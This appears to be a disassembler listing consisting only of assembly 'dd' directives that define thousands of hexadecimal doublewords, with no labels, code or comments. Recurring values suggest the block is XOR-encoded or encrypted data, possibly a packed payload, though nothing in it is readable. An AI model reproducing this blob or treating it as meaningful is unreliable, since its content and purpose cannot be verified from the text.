		dd 5A7E6AD5h, 82F90EDh,	963D1282h, 8832157Ah, 443AFC06h
		dd 7B281566h, 0AF5CC3C8h, 80DB0B61h, 79321566h,	3539C25Ch
		dd 70A1361Ah, 77CDAF34h, 931BEA99h, 3FB61A3Ch, 1E321566h
		dd 883202EFh, 4420FC66h, 0B4961566h, 0AEECF08Ah, 0F9C40h
		dd 8D146A6Bh, 4707EC73h, 0E9F2905Dh, 0D3D128Dh,	44321575h
		dd 83B79E9Ah, 0E835F173h, 778C439Ah, 6DCDEA99h,	19CE4B91h
		dd 0FACAD1E3h, 0D6B71A61h, 0AD321566h, 2232156Ah, 0CFCD4BA5h
		dd 0E5451A37h, 3948F7AFh, 73790EDh, 17DB1282h, 0FC321566h
		dd 22C59E6Eh, 6A8F403Eh, 5C50C644h, 9709D0E7h, 0A9B36F0Bh
		dd 767059CDh, 0FCB35023h, 0CFE1BEh, 4B6FFA67h, 22320DE5h
		dd 1121FC66h, 26C61566h, 0FEA49FADh, 70613D46h,	0A19FD8C2h
		dd 4A72FDEBh, 8CB72E31h, 2D35FE9Eh, 113223E3h, 8834FC66h
		dd 9A9C1566h, 0F4C9D854h, 38390EDh, 80DB1282h, 4B321566h
		dd 2A8C9C3Fh, 44690FC3h, 883214DBh, 19DD1466h, 22321F8Fh
		dd 0D2E2E266h, 34BFA927h, 7F46BD3Fh, 0C9CAD9E3h, 40B71A61h
		dd 61321566h, 4432156Fh, 0F8893D3Eh, 0E314101h,	883DFC55h
		dd 0E2CF1566h, 7210C86Bh, 0E2AE2633h, 0E0A90706h, 0F5B79E99h
		dd 0DB35F164h, 6BA0AD36h, 50C57E6Ah, 1C3FC591h,	0F1E4C00h
		dd 0BB0667Ah, 1562E243h, 0BB7E1011h, 0E533BE00h, 77CA753Eh
		dd 0E90CC0DFh, 0BCE2905Dh, 0A73D128Dh, 11321523h, 8832068Fh
		dd 0F7982F66h, 9CEAF45Fh, 836E08AFh, 0F3660A68h, 0C03A522Fh
		dd 2ADB90EDh, 933D1282h, 88321571h, 44239069h, 2EDB1566h
		dd 66321566h, 49AB6913h, 6B4192ADh, 73794D4Bh, 113214DFh
		dd 0D1FD1466h, 0CDB72E9Fh, 2D35F147h, 113241E3h, 3F3D7566h
		dd 443DFCB8h, 2DAC1566h, 7486413Ch, 0BB9CD903h,	0DD837849h
		dd 0AD3D748Ah, 1132156Ch, 8832108Fh, 0BAA13866h, 0A7B9992Fh
		dd 16D60A27h, 88321C8Fh, 0CF6A7866h, 29B7C341h,	0AF64D38Bh
		dd 77CDEA99h, 4B6CE24Fh, 22321DE1h, 13B21A66h, 0E8321566h
		dd 90B72E07h, 2D35FE9Eh, 11324DE3h, 8FB31A66h, 4B321566h
		dd 223214E8h, 94B9EC66h, 8FD6370Fh, 44321E8Fh, 24E6CF66h
		dd 1AAAB952h, 0F7D61E70h, 0A67AE35h, 0A3790E61h, 0B5479ADh
		dd 63B35E0Eh, 3F2D7B1Ch, 2D69CA67h, 113214E2h, 0EE52ED66h
		dd 8758D7E7h, 22321E8Fh, 71038066h, 80B75C6h, 0BD3888F2h
		dd 32B72E07h, 1E35FE9Fh, 883272E3h, 443DFC66h, 35101566h
		dd 0E977D16Bh, 0F9E84017h, 7065CE61h, 3A8F96A9h, 1135FE9Fh
		dd 881A9069h, 0C7CE1566h, 0C610B8DBh, 953D1561h, 8832155Eh
		dd 57B61A93h, 0CB321566h, 11321568h, 0F8B18DD2h, 9AAF951Eh
		dd 0E3F6DC81h, 94B9ADAEh, 8FD638A7h, 1B60429Eh,	0F5B5573Ch
		dd 11321E8Fh, 5248D466h, 0C993BAE6h, 0CD727E29h, 0E826905Dh
		dd 0D3D128Dh, 4432150Dh, 20B61A06h, 9A321566h, 4FB373B1h
		dd 0C7534ADEh, 0C9CB0DDBh, 943D1561h, 88321556h, 0B7851A06h
		dd 22B01A36h, 4F321566h, 258F9607h, 4435F144h, 22079169h
		dd 0DB1566h, 88321566h,	0C2C90868h, 0A9CF0471h,	9962A2Ch
		dd 0AA3DC347h, 5F7F90EDh, 71C71282h, 1F6C7BDDh,	9E1E234h
		dd 2180E8Dh, 55C19429h,	106CBE11h, 0B3CB4EB9h, 0AFCACDE3h
		dd 18B71A61h, 1E321566h, 88321DE0h, 46B01A66h, 42321566h
		dd 0C0B79E07h, 8735F178h, 443214EDh, 9A62E066h,	5D1804A4h
		dd 80DAD426h, 3910CB63h, 91201030h, 0D633BC50h,	66B3753Eh
		dd 7049C5A1h, 0FEB72E07h, 1E35FE9Eh, 88323DE3h,	0C1B9ED66h
		dd 25D600DFh, 6A8A459Fh, 0C046EE72h, 324D5C6Bh,	0A737550Fh
		dd 10B015E6h, 8EDB4DA1h, 0E4321566h, 9C6121ADh,	0F1B72E74h
		dd 8735FE9Eh, 443254E3h, 0A7B9E066h, 16D63447h,	883A9E69h
		dd 0C23D1566h, 22321564h, 0A8637406h, 0BA2C0C32h, 21DB942Fh
		dd 0D5459E44h, 0E1F394B7h, 89888790h, 4BDB4CA9h, 0B7321566h
		dd 6CFC6FBBh, 0D254CC66h
		dd 1202793h, 0A70950C0h, 16D9ED82h, 88709069h, 0C13D1566h
		dd 22321569h, 11321F8Fh, 0CC5D5066h, 0E7C43D0Bh, 0A9C52025h
		dd 0F53774E3h, 80B31A61h, 4B321566h, 223217E9h,	0E4537566h
		dd 8836F9E7h, 78BB1566h, 636EA42h, 1134FC39h, 0BE471566h
		dd 0CF2BDD9Eh, 0DADA905Dh, 943D128Dh, 8832155Dh, 47B41A06h
		dd 44321566h, 9C3DC2EDh, 88321564h, 0CF534B35h,	0C61198E3h
		dd 9052ED61h, 0A634B584h, 1BFD940Bh, 4339D7A2h,	66DAAF34h
		dd 7AB32A4Bh, 84E09D71h, 4268C24Fh, 2A53E7EDh, 63CAF9E3h
		dd 0FB71A61h, 0CB321566h, 11321568h, 29FE33BEh,	54998D2Ah
		dd 1938D2BBh, 94B9DC29h, 8FD63A1Fh, 44339F69h, 75C71566h
		dd 0EE1639E7h, 0D7CDEA99h, 44239169h, 0A23D1566h, 1132156Dh
		dd 8832138Fh, 15F1F566h, 4294DF1Ch, 4A684230h, 2CD39400h
		dd 0BB3974AFh, 22199169h, 46521566h, 36A7406h, 45DB74AEh
		dd 2DCDEA8Bh, 11320DECh, 8821FC66h, 2F361566h, 214032C1h
		dd 9E634B7Bh, 29753DC2h, 4AA20853h, 0A3B72E0Bh,	1E35F169h
		dd 883255E3h, 51B31A66h, 0CB321566h, 11321576h,	0C523922Fh
		dd 7353CC1h, 889317DFh,	0C5DA046Eh, 0DA5E90EBh,	50DB128Dh
		dd 61321566h, 594E1B17h, 0E243D23Ch, 5D042126h,	0B032E51Fh
		dd 0F89ACECCh, 77CDF9FEh, 0FDB72E9Eh, 2D35F143h, 113291E3h
		dd 883BFC66h, 147C1566h, 822E0627h, 923A336Ah, 63CA2DDBh
		dd 0C13D1461h, 2232150Fh, 11321A8Fh, 8E666966h,	73B56AD2h
		dd 0C7E3A6Ah, 4FF47D1Ah, 835590EBh, 50DB153Fh, 4B321566h
		dd 7D99F191h, 0E24CB5B8h, 7133C081h, 85B3201Bh,	0E92FEC0Bh
		dd 77DE228Fh, 52B01A99h, 0CB321566h, 11321577h,	11D2C27Fh
		dd 3157D1CBh, 5DE07B84h, 0DEE9CA73h, 883DFCC1h,	0E6341566h
		dd 1249281Ch, 0CC8C913Fh, 2BF7FAB3h, 0CB72EBEh,	2D35FE9Eh
		dd 113246E2h, 9ADB7566h, 0A1321566h, 0CB27EC53h, 8D5F25C9h
		dd 54B55B83h, 0F8349948h, 223FFD8Eh, 84B81566h,	5079762Bh
		dd 20EDCD1Eh, 0CADDFF47h, 11321569h, 0D9C953CAh, 0C7C26784h
		dd 82FBFE2Eh, 4FDDDAD5h, 0D097438h, 43D9ED2Ah, 22119069h
		dd 71CB1566h, 0E9E59E00h, 0BBD9B68Fh, 2221FC99h, 75F41566h
		dd 623164F8h, 7C41DBFh,	358498B8h, 63339D27h, 888D420Bh
		dd 13321566h, 0F11621E7h, 4F63CA30h, 0DEE1E3E7h, 0B86D44B9h
		dd 2D33EBE5h, 113337E3h, 8820FC66h, 79971566h, 420EEAEAh
		dd 7B9EABA3h, 2D81C39Bh, 2FDABBB5h, 0DA0E905Dh,	943D128Dh
		dd 88321524h, 443AFC06h, 0CB851566h, 3BCE9A5Fh,	23DD250h
		dd 44321573h, 2232058Fh, 64BA6066h, 182371h, 0EE30EDC6h
		dd 0EFCDF68Dh, 94BF7480h, 886A92A2h, 0C554ED06h, 4376E6AFh
		dd 0EED91E8Fh, 3547599h, 0C10974BFh, 25D9ED26h,	115A9069h
		dd 87521566h, 443210E2h, 0FBB37366h, 0A63D7555h, 0DBF74B4h
		dd 446A9D5Ch, 222E9469h, 9F3D1566h, 88321570h, 4432048Fh
		dd 9B8B0D66h, 3211D98Eh, 96FD494Eh, 3F7BE2D2h, 9FDB9B0Ah
		dd 71CDEA8Ch, 0D3537530h, 4432078Fh, 0AE2C0266h, 0E73B1F0h
		dd 0FB8788C7h, 0BB77B0B3h, 437EDC99h, 113A9569h, 87521566h
		dd 443215EEh, 0A7097466h, 16D9ED22h, 880F9069h,	0C9CA1566h
		dd 7ABA6AE3h, 113CFC66h, 1A651566h, 0BA1F5881h,	7A90045h
		dd 0E3D0C4BFh, 77D8728Fh, 56DB7599h, 1F321566h,	5BD4AE22h
		dd 0F5A277EAh, 0DC342544h, 0C1571773h, 0D9B373B7h, 0DD5309DAh
		dd 0ACBBD0EFh, 0A31639EDh, 113211A2h, 0EECB7566h, 0F01AC3E7h
		dd 0DA8A4507h, 0E6736D11h, 8D075DBEh, 0CD8C92EEh, 6369EA0h
		dd 1136D1E7h, 3D1566h, 44321567h, 2DC41E9Eh, 113202E3h
		dd 57DBED66h, 0ADCDEA8Fh, 2232156Dh, 336C293Bh,	0E2F47935h
		dd 0BC5653B9h, 6069E36h, 0F836D1E5h, 8832156Ah,	6D920A9Ch
		dd 0FA5AFB3Ch, 43BC4409h, 0AB7FA0EFh, 0CA3D1282h, 22321567h
		dd 10879C9Fh, 0E835F148h, 44329B69h, 0A2531566h, 943DFC58h
		dd 8832158Fh, 6E59406h,	2D2683CFh, 113217EBh, 0E9D5A066h
		dd 4436F9E7h, 36BB1566h, 1133AF42h, 7A331566h, 24682FEDh
		dd 0A03DC4ECh, 11321566h, 2CDD9407h, 0C5772052h, 0BD4BBF89h
		dd 90C51410h, 174BBFA1h, 0E0F59410h, 42772052h,	70C79CD2h
		dd 0DFC59C31h, 0FA524A3Dh, 54CB0349h, 0F853D6EDh, 8832156Fh
		dd 1FBECC50h, 5C708A53h, 0DA8C43F2h, 9774E74h, 626D0B90h
		dd 25DCD40Ch, 3724FBE7h, 66B32724h, 8A2E81E3h, 16B9E667h
		dd 15F69442h, 61321566h, 44321577h, 32B38142h, 0CED67EB5h
		dd 0B9A3F476h, 8F694FC2h, 6F8F2E47h, 1E35F145h,	883202E4h
		dd 0AAB27566h, 50EC9532h, 1EC92E07h, 88323DE0h,	45B01A66h
		dd 0DA321566h, 0EEDAD08Fh, 8752ED99h, 0AC63C7D1h, 22321568h
		dd 215D244Ch, 0DE59E0CBh, 81837474h, 7C6D5713h,	0F88F9E07h
		dd 8735F17Dh, 443204EFh, 223EFC66h, 3D531566h, 20E7C902h
		dd 53DA0F66h, 0A7F5D355h, 16D60003h, 88321566h,	42B81A06h
		dd 2D321566h, 113215E3h, 71527466h, 84F99506h, 22319D69h
		dd 9A541566h, 3DBB74BCh, 43D63B67h, 2232078Fh, 4700E466h
		dd 0CED6B16Dh, 79266F05h, 0DEE51083h, 1ED01234h, 883214EFh
		dd 0D9BFED66h, 25DE696Fh, 11339569h, 77CB1566h,	0AD8D75B5h
		dd 447565B7h, 0D42AE3E7h, 87F21E07h, 443209E2h,	2223FC66h
		dd 136C1566h, 1612B546h, 0E78AFD73h, 0D6AD823Bh, 0F8E9A39Fh
		dd 883215DCh, 64AF989Eh, 2D35FCD3h, 113207EFh, 84B41A66h
		dd 0AD321566h, 22321561h, 0B91EB084h, 77627017h, 33B11AB5h
		dd 0CBCDEA99h, 11321576h, 0D2C3200Bh, 71139C0h,	69712CD3h
		dd 6BDA129Eh, 0A633A0EDh, 4B521282h, 223216EFh,	0DEB97366h
		dd 97288D8h, 0F1BB747Ch, 25D60003h, 10BD1A93h, 74321566h
		dd 8D0A88EBh, 0AA3D128Ch, 11321561h, 61B37306h,	0AD535FCEh
		dd 22321574h, 0D0019D75h, 84B49BBBh, 475C002Ah,	728B845Fh
		dd 0C2CD52A4h, 8832018Fh, 26377B66h, 3E7F51A9h,	0CB756EFCh
		dd 156C242Dh, 7AED073Ah, 0AD3D7551h, 11321560h,	88329769h
		dd 0C23D1566h, 22321567h, 94B9749Eh, 8FD6362Bh,	44369E69h
		dd 0DA521566h, 94BB7493h, 8FD63B67h, 4ADB749Ah,	31321566h
		dd 0AC0D0CB2h, 0B9BE1A86h, 940950BFh, 0CA0C95E1h, 11C49069h
		dd 3D1566h, 4432156Fh, 0E8B37306h, 4E65A68Ch, 0E98F9607h
		dd 4435F164h, 22E89169h, 71521566h, 0AF5AAB00h,	45213BD8h
		dd 9A54742Ah, 1E53331Dh, 883216E3h, 25CA7566h, 44CAA635h
		dd 0E7EE9D36h, 0EED19DBAh, 0DF1953Eh, 0AA8AE6E6h, 1E524EBEh
		dd 0F3DEBD9h, 44321563h, 70DBBFDFh, 0F898741Eh,	8832156Dh
		dd 0A7629573h, 1AE897B4h, 0E85BE6B5h, 88349E0Eh, 600E9C66h
		dd 0DABBE2EFh, 1137FC39h, 57001566h, 41D05178h,	297F692Dh
		dd 0A863ED4Fh, 0BA4214DBh, 1FF5FCE7h, 0CBF304B5h, 9EF39460h
		dd 7F682208h, 0B5B35CB7h, 8C3977F5h, 0E46BDD4Fh, 848A4535h
		dd 7176A923h, 668E506Eh, 386AD6EFh, 8524EBEh, 0FB5465BFh
		dd 8953548Fh, 1132078Fh, 0DBFBA966h, 9916261Bh,	1A216815h
		dd 0D647894h, 0E8315AF3h, 0C5547AD6h, 43A46DB7h, 1130978Fh
		dd 42B97566h, 256CE935h, 40A288EBh, 7752128Ah, 0F619C6E7h
		dd 4432068Eh, 6D371866h, 9DD33095h, 0CCA47925h,	0A88F86FCh
		dd 0E927C63Ch, 1132198Fh, 17D86466h, 4D1F9387h,	65F8B09Eh
		dd 1E534FD5h, 883219E5h
		dd 42B81A66h, 2D321566h, 113215ECh, 0E8E1EA66h,	4432048Fh
		dd 0AE26BE66h, 2A27D6E2h, 285A13E6h, 0D886787Eh, 0A3543DC4h
		dd 706C86AEh, 0FECA88EBh, 0B8C7128Ah, 4252C699h, 0F7A8E5DCh
		dd 83537444h, 59B71AA6h, 42321566h, 0F853C5EDh,	8832155Dh
		dd 44321A8Fh, 7801FE66h, 6FE985D6h, 7FC0BF95h, 0B485D1A1h
		dd 0C3390E5h, 1E371282h, 88321DEEh, 46B61A66h, 42321566h
		dd 0EF75FC07h, 80DBEA99h, 0DC321566h, 0E0DAEABEh, 9C402E09h
		dd 644ACFFBh, 2252ED61h, 28CDFDE7h, 1132108Eh, 1D8EFC66h
		dd 0A38B1089h, 7D7F4CFEh, 71E1EA07h, 88319969h,	0CF541566h
		dd 43C29EA4h, 943DD56Dh, 88321554h, 5DB01A93h, 0CB321566h
		dd 11321572h, 88CB13A5h, 0A4FD163h, 7B1AEE9h, 920ABF97h
		dd 0F5458AB6h, 44325F8Fh, 24BD1A66h, 71321566h,	4FC6AC00h
		dd 1465EC07h, 45030DDEh, 7CD01862h, 82377584h, 0CDA90DE4h
		dd 0D8334DA1h, 90547539h, 0EE73B4B1h, 250127DFh, 2233338Fh
		dd 1122FC66h, 363B1566h, 0AAA361EEh, 67117B93h,	0B8F88A0Bh
		dd 5CEAFDBh, 0AD8735FBh, 2DDA7561h, 9A321566h, 665D1ABFh
		dd 0E9915D4Dh, 0B9E862D0h, 49C7E136h, 88319E69h, 0F33D1566h
		dd 0F1CD74BEh, 11059669h, 9CDB1566h, 8A321566h,	4FDCCCDEh
		dd 10C6725Ch, 27723E40h, 5CC8E387h, 0A9F3DFC1h,	0F51C14D3h
		dd 89B01A61h, 0BC321566h, 221E358Fh, 913D7566h,	88321564h
		dd 99B8EFEDh, 23BF9E07h, 1E35F148h, 883211E5h, 1F867566h
		dd 23879C07h, 0E935F148h, 88339869h, 0C5CB1566h, 463010A7h
		dd 0A3DB9412h, 0A1005259h, 0F6F39497h, 0A3005259h, 7530108Fh
		dd 0B537512h, 95C5EAA7h, 2239FD06h, 4471566h, 824D94FBh
		dd 8A756A5h, 0E3B9734Ah, 0EAF5943Dh, 0E967F11Ah, 6C4BAD36h
		dd 0C2F35447h, 3733065h, 0EE17252Ah, 4114E14Dh,	5F9D6E85h
		dd 0B32BB653h, 0D0F4140Bh, 0AAB3DB4Fh, 323F72E6h, 0F896E69Fh
		dd 88321568h, 902FC49Ch, 1A9CB6D5h, 76C1A421h, 1ADB1CF1h
		dd 24CDEA9Ah, 42C5FAE6h, 9A54E1ECh, 55374AEh, 0AEF975FBh
		dd 2239FC61h, 0C7931566h, 59946E9h, 18EBB327h, 2DE1EA68h
		dd 113203E6h, 98B71A66h, 0AD321566h, 2232156Dh,	0DA95EA5Bh
		dd 0A810189Bh, 2C4AA0E6h, 223252F3h, 901629EFh,	0F2FC3152h
		dd 716A6560h, 52346FA8h, 11259F69h, 9ADB1566h, 2E321566h
		dd 664FBF42h, 0EEEDCC1Dh, 656FA48Fh, 71962FBEh,	0CBB73EC4h
		dd 7135F17Dh, 8832018Fh, 78786366h, 5719047Bh, 0B985F9AEh
		dd 29F63CB4h, 0A52F59F2h, 0FD8C7372h, 94BB749Eh, 8FD60CB7h
		dd 0ADB79E93h, 0CB35F17Dh, 11321563h, 7AD8C7DDh, 1EC57D51h
		dd 1EBB1566h, 113DFC42h, 2EF21566h, 0E13C4D4Ch,	257F6466h
		dd 0F668FD81h, 92277D63h, 40BB1566h, 2CBE1A42h,	71321566h
		dd 88329869h, 0C13D1566h, 22321566h, 0C2BF9807h, 0E835FFABh
		dd 44369269h, 99541566h, 0CAB35099h, 91700FB6h,	4BE3EA07h
		dd 223212E5h, 10BA1A66h, 7D321566h, 5F6F90EDh, 0A83D1282h
		dd 1132157Fh, 8832018Fh, 0C3EC2866h, 6C4848CAh,	53A164E8h
		dd 4006178Ch, 5ED7A5D3h, 0C1BB467Dh, 1136D6E7h,	63B11566h
		dd 602E9262h, 6369C3Ah,	0AA547593h, 9ADB32CBh, 17321566h
		dd 552ABF37h, 0E8FBE79Ah, 94BA4397h, 879CC961h,	8D5A7461h
		dd 9832157Dh, 83D315Ah,	4432156Ah, 2232128Fh, 0F20CE666h
		dd 0DC20AE46h, 5FDB90EDh, 77CE1282h, 0D4B3F0EFh, 88321562h
		dd 4436F8E7h, 0EB51566h, 15BB4942h, 33547542h, 0B28BE0D5h
		dd 43151B4Bh, 0DE2798EBh, 77CA128Ch, 0CD61E0B7h, 0A9E89CA5h
		dd 0D5B1317Ah, 9AB61A62h, 24321566h, 2238FC9Ah,	0C84E1566h
		dd 0E475B8BCh, 9709ABDCh, 2EB94507h, 15F69642h,	88321B8Fh
		dd 5A388566h, 78D49E6Fh, 0F7007413h, 0A3A42E75h, 0A02948EBh
		dd 28BA1A61h, 0F8321566h, 88321563h, 7B71D8ECh,	878F9641h
		dd 1135F147h, 88E69169h, 0C03D1566h, 2232156Ch,	0C0F49406h
		dd 35BBEFDh, 0C1B974B8h, 25D6081Fh, 112F9169h, 60521566h
		dd 44321576h, 987A49F5h, 3AB8EB04h, 96F0A4B2h, 91B55897h
		dd 0CBB37339h, 3A53860Bh, 6C13B0E3h, 4439FC61h,	0D3D01566h
		dd 0FBEEB68Fh, 5853B6BAh, 4BF32E6Bh, 223268E0h,	10B81A66h
		dd 74321566h, 58AF90EDh, 0AD3D1282h, 11321574h,	8832188Fh
		dd 0D3D11666h, 6C3EDDF3h, 161A71EEh, 6152D03Eh,	4432156Eh
		dd 5F8B815Ah, 0AAEDA0F7h, 694409DCh, 0C131741Fh, 25D634C3h
		dd 0B0B79C9Ah, 6135F144h, 4432156Bh, 442ECC80h,	97BA8501h
		dd 77D4C3B0h, 57B11AF0h, 2D321566h, 113218EEh, 883AFC66h
		dd 830D1566h, 7BACA93Ah, 0C0DBA28Ch, 87321567h,	443214ECh
		dd 0AB60ED66h, 15F09484h, 9321566h, 4432118Ch, 6269266h
		dd 353E9C3Ah, 8832138Fh, 46B6F866h, 708D26D8h, 9060DFEFh
		dd 0B5403152h, 716A14EAh, 23BE2814h, 1CB51A3Ch,	0E8321566h
		dd 44329E69h, 6D8B1566h, 70163972h, 77CDAB30h, 0B433EA99h
		dd 0A9547538h, 0CE851A96h, 8CDE9407h, 0CD321566h, 0EA8C3152h
		dd 0D00C2F48h, 7EB31680h, 0BB82842h, 7C88E3E7h,	0DFB365B4h
		dd 8A4F0771h, 82B3CB91h, 0ECCF32B8h, 0F86CE56Fh, 8832156Fh
		dd 327C87FAh, 0DD7593CDh, 0EE8C4327h, 0A1CDEA99h, 4B524B96h
		dd 0AB53DCD1h, 0F52F6CE3h, 8822FC61h, 60311566h, 97B81D0Bh
		dd 0C430309Ch, 0F0B87858h, 0C1331F9Ch, 25D634F7h, 0B4B7D29Ah
		dd 8835F147h, 24321566h, 2DC8AA69h, 113217E6h, 0E9FD9E66h
		dd 2452550Ch, 9A544E31h, 1E539D45h, 6153DAD9h, 44321575h
		dd 95119558h, 800409EFh, 958A97DEh, 51A29F13h, 4A570C2Ch
		dd 11320566h, 8820FC9Fh, 242A1566h, 5AF8D9A7h, 0D16DA7DCh
		dd 6FB8D7C3h, 0F67440D3h, 2235650Eh, 353E9C66h,	88339169h
		dd 2EC71566h, 0B7CDE966h, 16D60C17h, 8821FC06h,	0B1EF1566h
		dd 0B9AF827Dh, 6E8F194Bh, 0AD930270h, 0D2F53C01h, 24BF1A1Bh
		dd 1E321566h, 883215EDh, 0D1CD7466h, 25D60DCBh,	8CB79C9Ah
		dd 6135F17Ah, 4432156Ah, 3878EA3h, 778E116Fh, 1909F1E1h
		dd 669390EFh, 0A03D1282h, 11321569h, 88321F8Fh,	86A0D66h
		dd 2B6F2087h, 9AC2B42Eh, 165316Ah, 40F59481h, 0A3321566h
		dd 113211A1h, 0AC0E9266h, 443DFC3Ah, 93001566h,	0BD7C5D96h
		dd 451D063Ch, 559E8EF0h, 0A2657542h, 47688D90h,	0E96B4A34h
		dd 6693A099h, 0DDCE1282h, 0F52948D3h, 83B71A61h, 0AD321566h
		dd 22321560h, 1959A243h, 165E32Eh, 40F59481h, 0A1321566h
		dd 2DB51189h, 0B4BB4942h, 4426FC42h, 15301566h,	37B8EE47h
		dd 1C52B0C8h, 459022DBh, 0D3AE2CA2h, 0EECE4EE5h, 6C29FCD3h
		dd 43B51A61h, 2D321566h, 113214EDh, 0EE52E066h,	4CB4F4E7h
		dd 0AF53E1ECh, 0FBD502E3h, 3F3D7561h, 97851AB1h, 42E2EA07h
		dd 1053DFEDh, 6C13B0EBh, 0FB3D7561h, 118C739Dh,	0ACB9742Eh
		dd 8FD637C7h, 86851A06h, 43C5AA69h, 0A6FA0EDh, 0C3D1282h
		dd 44321567h, 2D96E69Fh, 113214E1h, 3CBE966h, 0A02AFCD3h
		dd 2234FC61h, 0FE761566h, 5DE4A29Ch, 165AECCBh,	0AB321550h
		dd 0BC5A316Ah, 0D17C7C72h, 66DAE4E7h, 0CBF32A3Eh, 0D9C39465h
		dd 13C3340h, 0BD6BE928h, 4237D5A7h, 0E9AAB00h, 8832068Fh
		dd 9AAA3C66h, 8EB98A12h, 269639C7h, 34770565h, 3C627AB7h
		dd 728F4007h, 0E66F963Eh, 0C5EFE2B3h, 0DCBE0E7h, 0CA3364BFh
		dd 901639EDh, 883211A2h
		dd 443BFC66h, 48F71566h, 0B0A3643Ah, 8BC72C39h,	0A027C8E3h
		dd 0AFB9ED61h, 16D637C7h, 88321D8Fh, 98C60166h,	91CDFCE3h
		dd 1188471Ah, 89321566h, 0CF389CA4h, 0E6B13172h, 1ECA7562h
		dd 883210E1h, 9AE7AD66h, 8F53509Ah, 4A604206h, 8839FC3Eh
		dd 0E7DA1566h, 4C2CBCEBh, 7B587650h, 356774CDh,	645A6801h
		dd 4DBBAC37h, 0C0C552C3h, 0E8EBF4E7h, 0A5F31F67h, 0E5FB9464h
		dd 90556B02h, 61D54B97h, 0B87C9CDEh, 0DE5C143Fh, 10B01A3Bh
		dd 7D321566h, 0AD879C93h, 4235F17Eh, 11339B69h,	0E9CA1566h
		dd 44321C8Fh, 901FAC66h, 0E5EA12CEh, 70B1A096h,	0D6B71A99h
		dd 0DE321566h, 0CCEF2BE7h, 0D3DC8BBh, 443215E3h, 22249369h
		dd 1E521566h, 883215E1h, 443BFC66h, 3DA21566h, 0F4003380h
		dd 0E9D4AFE2h, 443DA50Eh, 62E9C66h, 113215DDh, 0D32C9C66h
		dd 44169269h, 0CB521566h, 11321569h, 2DA1D702h,	0A80F5015h
		dd 22F617BCh, 0F8543140h, 8832156Fh, 2E721528h,	19D5252Fh
		dd 0AA61742Ch, 88321562h, 6AF1D3E7h, 0FC336002h, 3FF1FBE7h
		dd 7D696002h, 5CDBA0EFh, 2ADB1282h, 0FA321566h,	0A36726Ch
		dd 0AD509D6Ah, 0DDCDC720h, 12F2D49Fh, 88321C8Fh, 4AB0866h
		dd 2DDE752Bh, 9431F9BEh, 8FD600BBh, 0DCF29406h,	0A223FD75h
		dd 0F853EC97h, 88321560h, 4A3DE774h, 9FB10854h,	16D60927h
		dd 3AB61A67h, 0B8321565h, 88982BE7h, 943DBFCCh,	883215B2h
		dd 443F9569h, 2ADB1566h, 18321566h, 82DC9910h, 0C59E3A0Ah
		dd 2232118Ah, 35369C66h, 883211DEh, 1CF41466h, 22249F69h
		dd 0DB1566h, 0CA321566h, 2BB84F2Bh, 2F420B55h, 3715CE11h
		dd 0BEFFDA87h, 124FAD36h, 0F2C5573Eh, 474CAB30h, 7833573Eh
		dd 0B8749C38h, 2222FC3Eh, 7ED11566h, 14A2CE14h,	702B0D8h
		dd 0FB120456h, 9A3DDB20h, 8832156Eh, 44309F69h,	43521566h
		dd 0D603ED57h, 3752ED57h, 2FAD2627h, 0E268A507h, 115A1186h
		dd 0A0321566h, 40B83162h, 26F69642h, 3DB624Ah, 0DC321566h
		dd 20E257D7h, 6A3CD096h, 204DDB6Ah, 713E3C4Ch, 0CE3D75B8h
		dd 22321563h, 58DB9400h, 88857566h, 94E4C2DFh, 0CB537471h
		dd 1132155Ah, 88339E69h, 0BDC71566h, 0A96A4236h, 0D5B1315Ah
		dd 8EB01A62h, 24321566h, 0ECB94B31h, 0A682E907h, 3E60D598h
		dd 1EC235ABh, 0CB527552h, 11321560h, 4AB63885h,	0C5545B95h
		dd 43D1EB94h, 14D29C36h, 88321562h, 4432114Bh, 6369266h
		dd 35369C3Ah, 258F9693h, 4535F144h, 234C9169h, 1CDB1566h
		dd 58321566h, 0E5B0561Ch, 0AEB82C4Ch, 798CFC44h, 8833150Eh
		dd 60369E66h, 4236D1E5h, 11339C69h, 87CA1566h, 0C753D2D9h
		dd 0C9CA41DBh, 953D1561h, 88321527h, 4432058Fh,	0BA5CFD66h
		dd 22C7F08Bh, 200E12DAh, 50B2AC87h, 9CAF98A5h, 0E435FF9Ch
		dd 88219169h, 0AC521566h, 22321563h, 0B8AFB88Eh, 93D4FA8h
		dd 44321566h, 42E1EA07h, 4027CFE6h, 0D7FDAA69h,	0D40D9507h
		dd 226E9169h, 3DB1566h,	54321566h, 0F76682AAh, 6B9DED45h
		dd 0E851CE25h, 0D1BDA91Dh, 40DE946Fh, 0AB321566h, 148B316Ah
		dd 89321566h, 42DB4CA9h, 0C3321566h, 0A77737F6h, 8823FCB9h
		dd 51FF1566h, 826AE903h, 6051C64Eh, 0EF305A48h,	0ADEB1CEAh
		dd 223214CBh, 113A9469h, 13D1566h, 44321564h, 0DAB17406h
		dd 88B01A36h, 61321566h, 44321561h, 3A1538AAh, 90079B2Ch
		dd 8832118Ah, 603E9C66h, 0CBB26ED7h, 48FA9D8Dh,	8832128Fh
		dd 7286DA66h, 0C00F3EFFh, 1123FCCCh, 0CC8D1566h, 35FDC05Bh
		dd 5E4F4784h, 6B9227h, 360FDC9h, 0CD673162h, 26F79483h
		dd 90321566h, 883211A3h, 601E9266h, 0CB98E93Ah,	1132156Ch
		dd 0B7AFC6E4h, 52484077h, 2D528342h, 113216E7h,	2C09566h
		dd 3A5BAD00h, 22F3FC07h, 9F3D1566h, 88321571h, 44239C69h
		dd 2EDB1566h, 0DF321566h, 0A4C13D26h, 6B7E4B18h, 0DE7E126Ah
		dd 49162199h, 8836D1E7h, 0B1521566h, 2232048Fh,	0FE59F966h
		dd 12CCE75Dh, 0B8E29FD3h, 0D81EBAF3h, 0BB539630h, 8832188Fh
		dd 0ED0EC66h, 87E3C786h, 4AB89B7Fh, 0F7B2E6FDh,	0C13DFC99h
		dd 22321505h, 458F9693h, 8835FE9Eh, 441B9169h, 0A9521566h
		dd 11B51AA4h, 0E9321566h, 0BDA588EBh, 0DDCE128Ch, 1123FCB5h
		dd 0F81566h, 22CAE1A6h,	0F1BFE82Dh, 0A6E2190h, 0DB974EFAh
		dd 1BBAD6EEh, 62E9E62h,	7136D1E5h, 88349C69h, 0CC3D1566h
		dd 22321566h, 0C8DA9400h, 80DB748Bh, 9321566h, 25DB6867h
		dd 9A7184E5h, 6C10B4E3h, 4435FC61h, 0A7651566h,	0CA8AA5D4h
		dd 0FE0910A0h, 0BC1B6B7Dh, 5409A833h, 0F91B6B7Dh, 8826FC3Bh
